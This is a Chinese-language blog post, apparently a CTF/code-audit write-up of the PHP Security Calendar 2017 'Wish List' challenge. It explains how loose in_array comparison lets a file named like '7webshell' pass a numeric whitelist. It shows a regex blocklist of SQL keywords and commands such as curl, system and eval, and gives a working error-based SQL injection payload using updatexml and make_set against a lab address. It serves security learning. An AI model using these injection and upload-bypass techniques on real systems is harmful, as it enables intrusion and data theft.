【代码审计】PHP SECURITY CALENDAR 2017-Wish List

个人博客地址

http://www.darkerbox.com

欢迎大家学习交流

环境:

https://www.ripstech.com/php-security-calendar-2017/

参考

https://xz.aliyun.com/t/2451

in_array函数

给了一段php代码

class Challenge {
  const UPLOAD_DIRECTORY = './solutions/';
  private $file;
  private $whitelist;

  public function __construct($file) {
    $this->file = $file;
    $this->whitelist = range(1, 24);
  }

  public function __destruct() {
    if (in_array($this->file['name'], $this->whitelist)) {
      move_uploaded_file(
        $this->file['tmp_name'],
        self::UPLOAD_DIRECTORY . $this->file['name']
      );
    }
  }
}

$challenge = new Challenge($_FILES['solution']);

简单分析一下。可以理解为有文件上传的功能,并且有白名单保护$whitelist。
$whitelist是一个数组,存放着24个元素,值依次是从1到24。。

假如我们传入的name是7webshell。此时比较的时候会变成

"7webshell"==1
"7webshell"==2
"7webshell"==3
"7webshell"==4
"7webshell"==5
"7webshell"==6
"7webshell"==7

和比较7的时候,因为php弱类型的关系。会将字符串7webshell转换整型7.然后进行比较,此时7=7。所以返回的是true。从而绕过了白名单检测。

不过in_array支持第三个参数。如果第三个参数设置为true,则会先判断类型是否相同,不相同直接返回false。。
在这里插入图片描述

链接里之后布置了一个CTF题,看关键代码

$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";

if (!in_array($id, $whitelist)) {
    die("id $id is not in whitelist.");
}

这里有一个stop_hack函数。通过正则过滤了一些字符。

function stop_hack($value){
	$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
	$back_list = explode("|",$pattern);
	foreach($back_list as $hack){
		if(preg_match("/$hack/i", $value))
			die("$hack detected!");
	}
	return $value;
}

虽然过滤了一些,但是还是可以使用报错注入的。
payload:

http://192.168.43.187:10000/day1/practice/?id=2 and updatexml(1,make_set(3,'~',(select flag from flag)),1)

在这里插入图片描述
这里有一个make_set函数。第一个参数是3。转换为二进制是011。反过来是110。所以取第一个和第二个参数。打印出 ~,root@localhost
https://blog.csdn.net/qq_41725312/article/details/83039525

select make_set(3,'~',(select user()));

在这里插入图片描述

问题

我想问一个问题,我想爆表的时候。发现information中的or被过滤了。不知道还有什么方法。有大佬知道的麻烦在评论区说一声,谢谢。

欢迎大家一起学习交流,共同进步,欢迎加入信息安全小白群

在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Vicl1fe

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值